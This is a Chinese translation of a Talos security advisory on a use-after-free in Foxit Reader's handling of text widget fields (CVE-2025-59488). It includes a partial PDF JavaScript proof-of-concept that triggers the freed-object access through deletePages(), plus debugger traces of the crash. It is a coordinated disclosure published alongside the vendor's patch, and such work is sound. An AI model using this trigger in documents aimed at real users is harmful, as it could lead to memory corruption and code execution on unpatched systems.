TALOS-2025-2278 || 思科Talos情报小组 - 综合威胁情报
Foxit Reader 文本小部件格式释放后使用漏洞
发布日期:2025年12月19日
CVE 编号
CVE-2025-59488
概要
Foxit Reader在处理文本小部件字段对象的方式中存在一个释放后使用漏洞。恶意PDF文档内包含的经过特殊构造的JavaScript代码可以触发此漏洞,可能导致内存损坏并最终实现任意代码执行。攻击者需要诱使用户打开恶意文件才能触发此漏洞。如果浏览器插件扩展已启用,当用户访问经过特殊构造的恶意网站时,也可能被利用。
确认受影响的版本
以下版本经Talos测试、验证或供应商确认为存在漏洞。
- Foxit Reader 2025.2.0.33046
产品链接
CVSSv3 评分
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE
CWE-416 - 释放后使用
详细信息
Foxit PDF Reader是最流行的PDF文档阅读器之一,其目标是与Adobe Acrobat Reader实现功能对等。作为一个完整且功能丰富的PDF阅读器,它支持用于交互式文档和动态表单的JavaScript。JavaScript支持带来了额外的攻击面。Foxit Reader使用V8 JavaScript引擎。
PDF渲染器和编辑器中的JavaScript支持使得文档可以根据用户输入或事件进行动态变化。Foxit Reader在处理文本小部件对象的方式中存在一个释放后使用漏洞。可以通过以下概念验证代码进行说明:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
function main() {
app.activeDocs[0].getField('Text Field1').setFocus();
[...]
app.activeDocs[0].pageNum = 3;
app.activeDocs[0].pageNum = 3;
}
function delete_pages() {
app.activeDocs[0].deletePages();
}
[...]
function trigger_delete() {
getField("txt5").setAction("Format", 'delete_pages();');
app.activeDocs[0].getField('Radio Button0').checkThisBox(true);
app.activeDocs[0].getField("Radio Button0").setFocus();
getField("txt5").setAction("Calculate", 'main();');
[...]
}
|
在上面的代码中,当main函数中将页面设置为4(索引从0开始)时,会调用trigger_delete函数。trigger_delete函数将一个回调函数分配给Format事件,该事件随后通过调用setFocus立即被触发。在回调函数内部,调用了deletePages,该函数进而释放与页面关联的所有对象。当对象被deletePages()释放后,随后在没有进行任何验证的情况下被访问时,就会发生释放后使用漏洞。我们可以在调试器中观察到以下情况(启用PageHeap):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
:000> g
malloc
FoxitPDFReader!safe_vsnprintf+0x337ca7:
00007ff6`61166ec7 b948000000 mov ecx,48h ;<------------------(1)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cac:
00007ff6`61166ecc e87f882c00 call FoxitPDFReader!safe_vsnprintf+0x600530 (00007ff6`6142f750) ;<------------------(2)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x337cb1:
00007ff6`61166ed1 488985d8000000 mov qword ptr [rbp+0D8h],rax ss:00000020`9cef8668=000001667eaaafb0
0:000> dd rax ;<------------------(3)
00000166`286a2fb0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000166`286a2fc0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000166`286a2fd0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000166`286a2fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
00000166`286a2ff0 c0c0c0c0 c0c0c0c0 d0d0d0d0 d0d0d0d0
00000166`286a3000 ???????? ???????? ???????? ????????
00000166`286a3010 ???????? ???????? ???????? ????????
00000166`286a3020 ???????? ???????? ???????? ????????
|
易受攻击的对象通过在(2)处调用函数创建,对象的大小在(1)处传递给函数。分配后,在(3)处检查了该易受攻击的对象。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
0:000> g
free
FoxitPDFReader!safe_vsnprintf+0x33a791:
00007ff6`611699b1 488bcf mov rcx,rdi ; <----------------- (4)
0:000> dd rdi
00000166`286a2fb0 00000002 00000000 72e40ed0 00000166
00000166`286a2fc0 7eaaafb0 00000166 00000000 00000000
00000166`286a2fd0 17865ff0 00000166 00000000 00000001
00000166`286a2fe0 00000000 00000008 00000000 c0c0c0c0
00000166`286a2ff0 00000000 00000000 d0d0d0d0 d0d0d0d0
00000166`286a3000 ???????? ???????? ???????? ????????
00000166`286a3010 ???????? ???????? ???????? ????????
00000166`286a3020 ???????? ???????? ???????? ????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a794:
00007ff6`611699b4 e8775e2c00 call FoxitPDFReader!safe_vsnprintf+0x600610 (00007ff6`6142f830) ; <----------------- (5)
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a799:
00007ff6`611699b9 49c7042400000000 mov qword ptr [r12],0 ds:00000020`9cefac38=00000166286a2fb0
0:000> dd 00000166286a2fb0 ; <----------------- (6)
00000166`286a2fb0 ???????? ???????? ???????? ????????
00000166`286a2fc0 ???????? ???????? ???????? ????????
00000166`286a2fd0 ???????? ???????? ???????? ????????
00000166`286a2fe0 ???????? ???????? ???????? ????????
00000166`286a2ff0 ???????? ???????? ???????? ????????
00000166`286a3000 ???????? ???????? ???????? ????????
00000166`286a3010 ???????? ???????? ???????? ????????
00000166`286a3020 ???????? ???????? ???????? ????????
0:000> p
FoxitPDFReader!safe_vsnprintf+0x33a7a1:
00007ff6`611699c1 41c6859100000001 mov byte ptr [r13+91h],1 ds:00000166`72e40f61=01
|
随后,当JavaScript API deletePages()被调用时,它会释放与页面关联的所有对象。它调用CPDF_InterForm::DeleteField,从而释放易受攻击的对象。(4)处的寄存器rdi包含了易受攻击的对象。(5)处调用的方法释放了该对象,并在释放操作后的(6)处检查了该对象的内容。
随后,易受攻击的对象在没有任何验证的情况下被使用。这可以在崩溃时在调试器中观察到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
0:000> g
(19d0.1904): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FoxitPDFReader!safe_vsnprintf+0x34d4c6:
00007ff6`6117c6e6 4c8b4108 mov r8,qword ptr [rcx+8] ds:00000166`286a2fb8=???????????????? ;<------------------ (7)
0:000> u
FoxitPDFReader!safe_vsnprintf+0x34d4c6:
00007ff6`6117c6e6 4c8b4108 mov r8,qword ptr [rcx+8]
00007ff6`6117c6ea 488bda mov rbx,rdx
00007ff6`6117c6ed 488b5110 mov rdx,qword ptr [rcx+10h]
00007ff6`6117c6f1 488bcb mov rcx,rbx
00007ff6`6117c6f4 e827b5ffff call FoxitPDFReader!safe_vsnprintf+0x348a00 (00007ff6`61177c20)
00007ff6`6117c6f9 488bc3 mov rax,rbx
00007ff6`6117c6fc 4883c430 add rsp,30h
00007ff6`6117c700 5b pop rbx
0:000> dd rcx
00000166`286a2fb0 ???????? ???????? ???????? ????????
00000166`286a2fc0 ???????? ???????? ???????? ????????
00000166`286a2fd0 ???????? ???????? ???????? ????????
00000166`286a2fe0 ???????? ???????? ???????? ????????
00000166`286a2ff0 ???????? ???????? ???????? ????????
00000166`286a3000 ???????? ???????? ???????? ????????
00000166`286a3010 ???????? ???????? ???????? ????????
00000166`286a3020 ???????? ???????? ???????? ????????
|
崩溃发生在(7)处,当对象在没有进行任何验证的情况下被解引用时。根据进程的内存布局,攻击者可能能够执行任意读写操作,这最终可能被利用以实现任意代码执行。
时间线
- 2025年10月06日 - 向供应商披露
- 2025年12月19日 - 供应商发布补丁
- 2025年12月19日 - 公开披露
致谢
由思科Talos的KPC发现。